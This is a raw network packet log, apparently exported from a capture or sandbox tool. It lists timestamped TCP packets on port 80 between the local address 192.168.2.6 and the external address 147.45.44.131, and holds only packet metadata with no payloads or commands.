Jan 2, 2025 19:14:17.124047995 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124054909 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124059916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124066114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124094009 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.124202013 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.124351978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124392033 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124423027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124428988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124434948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124475002 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124479055 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.124490023 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124495983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124526024 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.124555111 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.125188112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125194073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125200033 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125277996 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.125363111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125369072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125374079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125380039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125386000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125399113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125405073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125411034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125416994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125422001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125427961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125432968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125441074 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.125447989 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125468016 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.125498056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125556946 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.125586987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125592947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125598907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125608921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125610113 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.125617027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125622988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125683069 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.125684023 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.125775099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125781059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125792027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125797987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125802994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125808954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125817060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125822067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.125868082 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.125914097 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.142631054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.142692089 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.142729998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.142738104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.142744064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.142749071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.142755985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.142761946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.142819881 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.142960072 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.158370018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158433914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158438921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158477068 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158488035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158494949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158499956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158507109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158521891 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.158550978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158557892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158571959 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.158571959 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.158639908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158654928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158664942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158670902 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.158698082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158704042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158710957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158715963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.158756018 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.158814907 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.159495115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.159504890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.159512043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.159518003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.159523964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.159579992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.159585953 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.159591913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.159610987 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.159611940 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.159656048 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.160255909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160263062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160269022 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160274029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160284042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160290003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160327911 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.160331964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160340071 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160346031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160351038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160356998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160362005 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160367966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160370111 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.160375118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160382986 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.160429001 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.160429001 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.160520077 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160526991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160540104 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160546064 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160551071 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160557032 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160562992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160599947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160604000 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.160604000 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.160631895 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.160788059 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160794020 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160851955 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.160942078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160948992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160953999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160959959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160965919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160970926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160975933 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160983086 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160988092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160995007 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.160999060 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161020994 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.161063910 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.161063910 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.161083937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161184072 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161189079 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161195040 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161206961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161211967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161217928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161262989 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161262989 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.161268950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161274910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161281109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161287069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161304951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161310911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161315918 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.161317110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161324024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161345959 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.161369085 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.161369085 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.161623001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161626101 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161638021 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161643028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161648989 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161737919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161744118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161750078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161761999 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.161792994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161798954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161804914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161806107 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.161812067 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161818981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.161875010 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.162030935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.162038088 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.162044048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.162050009 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.162055969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.162060976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.162066936 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.162111044 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.162132025 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.165215015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165220976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165226936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165258884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165286064 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.165318966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165324926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165338039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165344000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165344954 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.165371895 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.165406942 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.165585995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165648937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165653944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165662050 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165730000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165736914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165744066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165750027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165755987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165800095 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.165800095 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.165827036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165833950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165838957 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165859938 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.165884972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165890932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165898085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165899038 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.165899992 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.165903091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.165971041 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.169624090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169680119 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169687033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169692993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169743061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169749022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169754982 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169760942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169766903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169771910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169779062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169801950 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.169801950 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.169801950 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.169891119 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169891119 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.169898033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169903994 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.169908047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.170052052 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.172744036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172777891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172782898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172911882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172918081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172920942 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.172924042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172930002 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172935963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172940969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172946930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172952890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172959089 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172964096 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172971010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.172993898 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.172995090 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.172995090 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173054934 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173072100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173084974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173098087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173104048 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173109055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173114061 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173120022 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173125029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173129082 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173130989 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173135996 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173141956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173147917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173154116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173158884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173162937 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173163891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173165083 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173170090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173181057 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173182011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173187971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173193932 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173213005 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173217058 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173229933 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173247099 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173255920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173261881 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173263073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173265934 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173265934 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173269987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173276901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173281908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173288107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173300028 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173305988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173311949 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173319101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173326969 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173326969 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173342943 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173352003 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173368931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173383951 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173429012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173434019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173456907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173464060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173470020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173507929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173515081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173525095 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173543930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173726082 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173753023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173758984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173763990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173769951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173774958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173780918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173787117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.173815012 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.173891068 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.186079979 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186134100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186141014 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186147928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186152935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186160088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186166048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186177015 CET	80	49726	147.45.44.131	192.168.2.6
